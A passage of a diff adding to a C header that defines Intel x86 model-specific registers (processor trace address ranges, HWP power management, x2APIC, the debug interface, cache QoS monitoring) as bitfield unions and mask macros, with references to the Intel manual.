IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_FLAG 0xFFFFFFFFFFFFFFE0 +#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH_MASK 0x7FFFFFFFFFFFFFF +#define IA32_RTIT_CR3_MATCH_CR3_VALUE_TO_MATCH(_) (((_) >> 5) & 0x7FFFFFFFFFFFFFF) + }; + + uint64_t flags; +} ia32_rtit_cr3_match_register; + +/** + * @defgroup ia32_rtit_addr \ + * IA32_RTIT_ADDR(x) + * + * The role of the IA32_RTIT_ADDRn_A/B register pairs, for each n, is determined by the corresponding ADDRn_CFG fields in + * IA32_RTIT_CTL. The number of these register pairs is enumerated by CPUID.(EAX=14H, ECX=1):EAX.RANGECNT[2:0]. + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) + * @see Vol3C[35.2.7.2(IA32_RTIT_CTL MSR)] + * @see Vol3C[35.2.7.5(IA32_RTIT_ADDRn_A and IA32_RTIT_ADDRn_B MSRs)] (reference) + * @{ + */ + /** + * @defgroup ia32_rtit_addr_a \ + * IA32_RTIT_ADDR(n)_A + * + * Region n Start Address. + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) + * @{ + */ +#define IA32_RTIT_ADDR0_A 0x00000580 +#define IA32_RTIT_ADDR1_A 0x00000582 +#define IA32_RTIT_ADDR2_A 0x00000584 +#define IA32_RTIT_ADDR3_A 0x00000586 + /** + * @} + */ + + /** + * @defgroup ia32_rtit_addr_b \ + * IA32_RTIT_ADDR(n)_B + * + * Region n End Address. + * + * @remarks If (CPUID.(EAX=07H, ECX=1):EAX[2:0] > n) + * @{ + */ +#define IA32_RTIT_ADDR0_B 0x00000581 +#define IA32_RTIT_ADDR1_B 0x00000583 +#define IA32_RTIT_ADDR2_B 0x00000585 +#define IA32_RTIT_ADDR3_B 0x00000587 + /** + * @} + */ + +typedef union +{ + struct + { + /** + * [Bits 47:0] Virtual Address. + */ + uint64_t virtual_address : 48; +#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_BIT 0 +#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_FLAG 0xFFFFFFFFFFFF +#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS_MASK 0xFFFFFFFFFFFF +#define IA32_RTIT_ADDR_VIRTUAL_ADDRESS(_) (((_) >> 0) & 0xFFFFFFFFFFFF) + + /** + * [Bits 63:48] SignExt_VA. + */ + uint64_t sign_ext_va : 16; +#define IA32_RTIT_ADDR_SIGN_EXT_VA_BIT 48 +#define IA32_RTIT_ADDR_SIGN_EXT_VA_FLAG 0xFFFF000000000000 +#define IA32_RTIT_ADDR_SIGN_EXT_VA_MASK 0xFFFF +#define IA32_RTIT_ADDR_SIGN_EXT_VA(_) (((_) >> 48) & 0xFFFF) + }; + + uint64_t flags; +} ia32_rtit_addr_register; + +/** + * @} + */ + + + /** + * DS Save Area. Points to the linear address of the first byte of the DS buffer management area, which is used to manage + * the BTS and PEBS buffers. + * Returns: + * - [63:0] The linear address of the first byte of the DS buffer management area, if IA-32e mode is active. + * - [31:0] The linear address of the first byte of the DS buffer management area, if not in IA-32e mode. + * - [63:32] Reserved if not in IA-32e mode. + * + * @remarks If CPUID.01H:EDX.DS[21] = 1 + * @see Vol3B[18.6.3.4(Debug Store (DS) Mechanism)] + */ +#define IA32_DS_AREA 0x00000600 + + /** + * TSC Target of Local APIC's TSC Deadline Mode. + * + * @remarks If CPUID.01H:ECX.[24] = 1 + */ +#define IA32_TSC_DEADLINE 0x000006E0 + + /** + * Enable/disable HWP. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + */ +#define IA32_PM_ENABLE 0x00000770 +typedef union +{ + struct + { + /** + * [Bit 0] HWP_ENABLE. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.2(Enabling HWP)] + */ + uint64_t hwp_enable : 1; +#define IA32_PM_ENABLE_HWP_ENABLE_BIT 0 +#define IA32_PM_ENABLE_HWP_ENABLE_FLAG 0x01 +#define IA32_PM_ENABLE_HWP_ENABLE_MASK 0x01 +#define IA32_PM_ENABLE_HWP_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_pm_enable_register; + + +/** + * HWP Performance Range Enumeration. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + */ +#define IA32_HWP_CAPABILITIES 0x00000771 +typedef union +{ + struct + { + /** + * [Bits 7:0] Highest_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] + */ + uint64_t highest_performance : 8; +#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_BIT 0 +#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_FLAG 0xFF +#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_MASK 0xFF +#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Guaranteed_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] + */ + uint64_t guaranteed_performance : 8; +#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_BIT 8 +#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_FLAG 0xFF00 +#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_MASK 0xFF +#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE(_) (((_) >> 8) & 0xFF) + + /** + * [Bits 23:16] Most_Efficient_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] + */ + uint64_t most_efficient_performance : 8; +#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_BIT 16 +#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_FLAG 0xFF0000 +#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_MASK 0xFF +#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE(_) (((_) >> 16) & 0xFF) + + /** + * [Bits 31:24] Lowest_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] + */ + uint64_t lowest_performance : 8; +#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_BIT 24 +#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_FLAG 0xFF000000 +#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_MASK 0xFF +#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE(_) (((_) >> 24) & 0xFF) + uint64_t reserved1 : 32; + }; + + uint64_t flags; +} ia32_hwp_capabilities_register; + + +/** + * Power Management Control Hints for All Logical Processors in a Package. + * + * @remarks If CPUID.06H:EAX.[11] = 1 + */ +#define IA32_HWP_REQUEST_PKG 0x00000772 +typedef union +{ + struct + { + /** + * [Bits 7:0] Minimum_Performance. + * + * @remarks If CPUID.06H:EAX.[11] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t minimum_performance : 8; +#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_BIT 0 +#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_FLAG 0xFF +#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Maximum_Performance. + * + * @remarks If CPUID.06H:EAX.[11] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t maximum_performance : 8; +#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_BIT 8 +#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_FLAG 0xFF00 +#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE(_) (((_) >> 8) & 0xFF) + + /** + * [Bits 23:16] Desired_Performance. + * + * @remarks If CPUID.06H:EAX.[11] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t desired_performance : 8; +#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_BIT 16 +#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_FLAG 0xFF0000 +#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE(_) (((_) >> 16) & 0xFF) + + /** + * [Bits 31:24] Energy_Performance_Preference. + * + * @remarks If CPUID.06H:EAX.[11] = 1 && CPUID.06H:EAX.[10] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t energy_performance_preference : 8; +#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_BIT 24 +#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0xFF000000 +#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_MASK 0xFF +#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 24) & 0xFF) + + /** + * [Bits 41:32] Activity_Window. + * + * @remarks If CPUID.06H:EAX.[11] = 1 && CPUID.06H:EAX.[9] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t activity_window : 10; +#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_BIT 32 +#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_FLAG 0x3FF00000000 +#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_MASK 0x3FF +#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW(_) (((_) >> 32) & 0x3FF) + uint64_t reserved1 : 22; + }; + + uint64_t flags; +} ia32_hwp_request_pkg_register; + + +/** + * Control HWP Native Interrupts. + * + * @remarks If CPUID.06H:EAX.[8] = 1 + */ +#define IA32_HWP_INTERRUPT 0x00000773 +typedef union +{ + struct + { + /** + * [Bit 0] EN_Guaranteed_Performance_Change. + * + * @remarks If CPUID.06H:EAX.[8] = 1 + * @see Vol3B[14.4.6(HWP Notifications)] + */ + uint64_t en_guaranteed_performance_change : 1; +#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_BIT 0 +#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_FLAG 0x01 +#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_MASK 0x01 +#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] EN_Excursion_Minimum. + * + * @remarks If CPUID.06H:EAX.[8] = 1 + * @see Vol3B[14.4.6(HWP Notifications)] + */ + uint64_t en_excursion_minimum : 1; +#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_BIT 1 +#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_FLAG 0x02 +#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_MASK 0x01 +#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM(_) (((_) >> 1) & 0x01) + uint64_t reserved1 : 62; + }; + + uint64_t flags; +} ia32_hwp_interrupt_register; + + +/** + * Power Management Control Hints to a Logical Processor. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + */ +#define IA32_HWP_REQUEST 0x00000774 +typedef union +{ + struct + { + /** + * [Bits 7:0] Minimum_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t minimum_performance : 8; +#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_BIT 0 +#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_FLAG 0xFF +#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Maximum_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t maximum_performance : 8; +#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_BIT 8 +#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_FLAG 0xFF00 +#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE(_) (((_) >> 8) & 0xFF) + + /** + * [Bits 23:16] Desired_Performance. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t desired_performance : 8; +#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_BIT 16 +#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_FLAG 0xFF0000 +#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_MASK 0xFF +#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE(_) (((_) >> 16) & 0xFF) + + /** + * [Bits 31:24] Energy_Performance_Preference. + * + * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[10] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t energy_performance_preference : 8; +#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_BIT 24 +#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0xFF000000 +#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_MASK 0xFF +#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 24) & 0xFF) + + /** + * [Bits 41:32] Activity_Window. + * + * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[9] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t activity_window : 10; +#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_BIT 32 +#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_FLAG 0x3FF00000000 +#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_MASK 0x3FF +#define IA32_HWP_REQUEST_ACTIVITY_WINDOW(_) (((_) >> 32) & 0x3FF) + + /** + * [Bit 42] Package_Control. + * + * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[11] = 1 + * @see Vol3B[14.4.4(Managing HWP)] + */ + uint64_t package_control : 1; +#define IA32_HWP_REQUEST_PACKAGE_CONTROL_BIT 42 +#define IA32_HWP_REQUEST_PACKAGE_CONTROL_FLAG 0x40000000000 +#define IA32_HWP_REQUEST_PACKAGE_CONTROL_MASK 0x01 +#define IA32_HWP_REQUEST_PACKAGE_CONTROL(_) (((_) >> 42) & 0x01) + uint64_t reserved1 : 21; + }; + + uint64_t flags; +} ia32_hwp_request_register; + + +/** + * Log bits indicating changes to Guaranteed & excursions to Minimum. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + */ +#define IA32_HWP_STATUS 0x00000777 +typedef union +{ + struct + { + /** + * [Bit 0] Guaranteed_Performance_Change. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.5(HWP Feedback)] + */ + uint64_t guaranteed_performance_change : 1; +#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_BIT 0 +#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_FLAG 0x01 +#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_MASK 0x01 +#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 2] Excursion_To_Minimum. + * + * @remarks If CPUID.06H:EAX.[7] = 1 + * @see Vol3B[14.4.5(HWP Feedback)] + */ + uint64_t excursion_to_minimum : 1; +#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_BIT 2 +#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_FLAG 0x04 +#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_MASK 0x01 +#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM(_) (((_) >> 2) & 0x01) + uint64_t reserved2 : 61; + }; + + uint64_t flags; +} ia32_hwp_status_register; + + +/** + * x2APIC ID Register. + * + * @remarks If CPUID.01H:ECX[21] = 1 && IA32_APIC_BASE.[10] = 1 + * @see Vol3A[10.12(EXTENDED XAPIC (X2APIC))] + */ +#define IA32_X2APIC_APICID 0x00000802 + + /** + * x2APIC Version Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_VERSION 0x00000803 + + /** + * x2APIC Task Priority Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_TPR 0x00000808 + + /** + * x2APIC Processor Priority Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_PPR 0x0000080A + + /** + * x2APIC EOI Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_EOI 0x0000080B + + /** + * x2APIC Logical Destination Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LDR 0x0000080D + + /** + * x2APIC Spurious Interrupt Vector Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_SIVR 0x0000080F + /** + * @defgroup ia32_x2apic_isr \ + * IA32_X2APIC_ISR(n) + * + * x2APIC In-Service Register Bits (n * 32 + 31):(n * 32). + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + * @{ + */ +#define IA32_X2APIC_ISR0 0x00000810 +#define IA32_X2APIC_ISR1 0x00000811 +#define IA32_X2APIC_ISR2 0x00000812 +#define IA32_X2APIC_ISR3 0x00000813 +#define IA32_X2APIC_ISR4 0x00000814 +#define IA32_X2APIC_ISR5 0x00000815 +#define IA32_X2APIC_ISR6 0x00000816 +#define IA32_X2APIC_ISR7 0x00000817 + /** + * @} + */ + + /** + * @defgroup ia32_x2apic_tmr \ + * IA32_X2APIC_TMR(n) + * + * x2APIC Trigger Mode Register Bits (n * 32 + 31):(n * 32). + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + * @{ + */ +#define IA32_X2APIC_TMR0 0x00000818 +#define IA32_X2APIC_TMR1 0x00000819 +#define IA32_X2APIC_TMR2 0x0000081A +#define IA32_X2APIC_TMR3 0x0000081B +#define IA32_X2APIC_TMR4 0x0000081C +#define IA32_X2APIC_TMR5 0x0000081D +#define IA32_X2APIC_TMR6 0x0000081E +#define IA32_X2APIC_TMR7 0x0000081F + /** + * @} + */ + + /** + * @defgroup ia32_x2apic_irr \ + * IA32_X2APIC_IRR(n) + * + * x2APIC Interrupt Request Register Bits (n * 32 + 31):(n * 32). + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + * @{ + */ +#define IA32_X2APIC_IRR0 0x00000820 +#define IA32_X2APIC_IRR1 0x00000821 +#define IA32_X2APIC_IRR2 0x00000822 +#define IA32_X2APIC_IRR3 0x00000823 +#define IA32_X2APIC_IRR4 0x00000824 +#define IA32_X2APIC_IRR5 0x00000825 +#define IA32_X2APIC_IRR6 0x00000826 +#define IA32_X2APIC_IRR7 0x00000827 + /** + * @} + */ + + + /** + * x2APIC Error Status Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_ESR 0x00000828 + + /** + * x2APIC LVT Corrected Machine Check Interrupt Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_CMCI 0x0000082F + + /** + * x2APIC Interrupt Command Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_ICR 0x00000830 + + /** + * x2APIC LVT Timer Interrupt Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_TIMER 0x00000832 + + /** + * x2APIC LVT Thermal Sensor Interrupt Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_THERMAL 0x00000833 + + /** + * x2APIC LVT Performance Monitor Interrupt Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_PMI 0x00000834 + + /** + * x2APIC LVT LINT0 Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_LINT0 0x00000835 + + /** + * x2APIC LVT LINT1 Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_LINT1 0x00000836 + + /** + * x2APIC LVT Error Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_LVT_ERROR 0x00000837 + + /** + * x2APIC Initial Count Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_INIT_COUNT 0x00000838 + + /** + * x2APIC Current Count Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_CUR_COUNT 0x00000839 + + /** + * x2APIC Divide Configuration Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_DIV_CONF 0x0000083E + + /** + * x2APIC Self IPI Register. + * + * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 + */ +#define IA32_X2APIC_SELF_IPI 0x0000083F + + /** + * Silicon Debug Feature Control. + * + * @remarks If CPUID.01H:ECX.[11] = 1 + */ +#define IA32_DEBUG_INTERFACE 0x00000C80 +typedef union +{ + struct + { + /** + * @brief Enable (R/W) + * + * [Bit 0] BIOS set 1 to enable Silicon debug features. Default is 0. + * + * @remarks If CPUID.01H:ECX.[11] = 1 + */ + uint64_t enable : 1; +#define IA32_DEBUG_INTERFACE_ENABLE_BIT 0 +#define IA32_DEBUG_INTERFACE_ENABLE_FLAG 0x01 +#define IA32_DEBUG_INTERFACE_ENABLE_MASK 0x01 +#define IA32_DEBUG_INTERFACE_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 29; + + /** + * @brief Lock (R/W) + * + * [Bit 30] If 1, locks any further change to the MSR. The lock bit is set automatically on the first SMI assertion even if + * not explicitly set by BIOS. Default is 0. + * + * @remarks If CPUID.01H:ECX.[11] = 1 + */ + uint64_t lock : 1; +#define IA32_DEBUG_INTERFACE_LOCK_BIT 30 +#define IA32_DEBUG_INTERFACE_LOCK_FLAG 0x40000000 +#define IA32_DEBUG_INTERFACE_LOCK_MASK 0x01 +#define IA32_DEBUG_INTERFACE_LOCK(_) (((_) >> 30) & 0x01) + + /** + * @brief Debug Occurred (R/O) + * + * [Bit 31] This "sticky bit" is set by hardware to indicate the status of bit 0. Default is 0. + * + * @remarks If CPUID.01H:ECX.[11] = 1 + */ + uint64_t debug_occurred : 1; +#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_BIT 31 +#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_FLAG 0x80000000 +#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_MASK 0x01 +#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED(_) (((_) >> 31) & 0x01) + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} ia32_debug_interface_register; + + +/** + * L3 QOS Configuration. + * + * @remarks If ( CPUID.(EAX=10H, ECX=1):ECX.[2] = 1 ) + */ +#define IA32_L3_QOS_CFG 0x00000C81 +typedef union +{ + struct + { + /** + * @brief Enable (R/W) + * + * [Bit 0] Set 1 to enable L3 CAT masks and COS to operate in Code and Data Prioritization (CDP) mode. + */ + uint64_t enable : 1; +#define IA32_L3_QOS_CFG_ENABLE_BIT 0 +#define IA32_L3_QOS_CFG_ENABLE_FLAG 0x01 +#define IA32_L3_QOS_CFG_ENABLE_MASK 0x01 +#define IA32_L3_QOS_CFG_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_l3_qos_cfg_register; + + +/** + * L2 QOS Configuration. + * + * @remarks If ( CPUID.(EAX=10H, ECX=2):ECX.[2] = 1 ) + */ +#define IA32_L2_QOS_CFG 0x00000C82 +typedef union +{ + struct + { + /** + * @brief Enable (R/W) + * + * [Bit 0] Set 1 to enable L2 CAT masks and COS to operate in Code and Data Prioritization (CDP) mode. + */ + uint64_t enable : 1; +#define IA32_L2_QOS_CFG_ENABLE_BIT 0 +#define IA32_L2_QOS_CFG_ENABLE_FLAG 0x01 +#define IA32_L2_QOS_CFG_ENABLE_MASK 0x01 +#define IA32_L2_QOS_CFG_ENABLE(_) (((_) >> 0) & 0x01) + uint64_t reserved1 : 63; + }; + + uint64_t flags; +} ia32_l2_qos_cfg_register; + + +/** + * Monitoring Event Select Register. + * + * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[12] = 1 ) + */ +#define IA32_QM_EVTSEL 0x00000C8D +typedef union +{ + struct + { + /** + * @brief Event ID + * + * [Bits 7:0] ID of a supported monitoring event to report via IA32_QM_CTR. + */ + uint64_t event_id : 8; +#define IA32_QM_EVTSEL_EVENT_ID_BIT 0 +#define IA32_QM_EVTSEL_EVENT_ID_FLAG 0xFF +#define IA32_QM_EVTSEL_EVENT_ID_MASK 0xFF +#define IA32_QM_EVTSEL_EVENT_ID(_) (((_) >> 0) & 0xFF) + uint64_t reserved1 : 24; + + /** + * @brief Resource Monitoring ID + * + * [Bits 63:32] ID for monitoring hardware to report monitored data via IA32_QM_CTR. + * + * @remarks Bits [N+31:32] N = Ceil (Log2 (CPUID.(EAX= 0FH,ECX=0H).EBX[31:0] + 1)) + */ + uint64_t resource_monitoring_id : 32; +#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_BIT 32 +#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_FLAG 0xFFFFFFFF00000000 +#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_MASK 0xFFFFFFFF +#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_qm_evtsel_register; + + +/** + * Monitoring Counter Register. + * + * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[12] = 1 ) + */ +#define IA32_QM_CTR 0x00000C8E +typedef union +{ + struct + { + /** + * [Bits 61:0] Resource Monitored Data. + */ + uint64_t resource_monitored_data : 62; +#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_BIT 0 +#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_FLAG 0x3FFFFFFFFFFFFFFF +#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_MASK 0x3FFFFFFFFFFFFFFF +#define IA32_QM_CTR_RESOURCE_MONITORED_DATA(_) (((_) >> 0) & 0x3FFFFFFFFFFFFFFF) + + /** + * @brief Unavailable + * + * [Bit 62] If 1, indicates data for this RMID is not available or not monitored for this resource or RMID. + */ + uint64_t unavailable : 1; +#define IA32_QM_CTR_UNAVAILABLE_BIT 62 +#define IA32_QM_CTR_UNAVAILABLE_FLAG 0x4000000000000000 +#define IA32_QM_CTR_UNAVAILABLE_MASK 0x01 +#define IA32_QM_CTR_UNAVAILABLE(_) (((_) >> 62) & 0x01) + + /** + * @brief Error + * + * [Bit 63] If 1, indicates an unsupported RMID or event type was written to IA32_PQR_QM_EVTSEL. + */ + uint64_t error : 1; +#define IA32_QM_CTR_ERROR_BIT 63 +#define IA32_QM_CTR_ERROR_FLAG 0x8000000000000000 +#define IA32_QM_CTR_ERROR_MASK 0x01 +#define IA32_QM_CTR_ERROR(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} ia32_qm_ctr_register; + + +/** + * Resource Association Register. + * + * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[12] = 1) or (CPUID.(EAX=07H, ECX=0):EBX[15] = 1 ) ) + */ +#define IA32_PQR_ASSOC 0x00000C8F +typedef union +{ + struct + { + /** + * @brief Resource Monitoring ID (R/W) + * + * [Bits 31:0] ID for monitoring hardware to track internal operation, e.g., memory access. + * + * @remarks Bits [N-1:0] N = Ceil (Log2 (CPUID.(EAX= 0FH, ECX=0H).EBX[31:0] +1)) 31:N Reserved + */ + uint64_t resource_monitoring_id : 32; +#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_BIT 0 +#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_FLAG 0xFFFFFFFF +#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_MASK 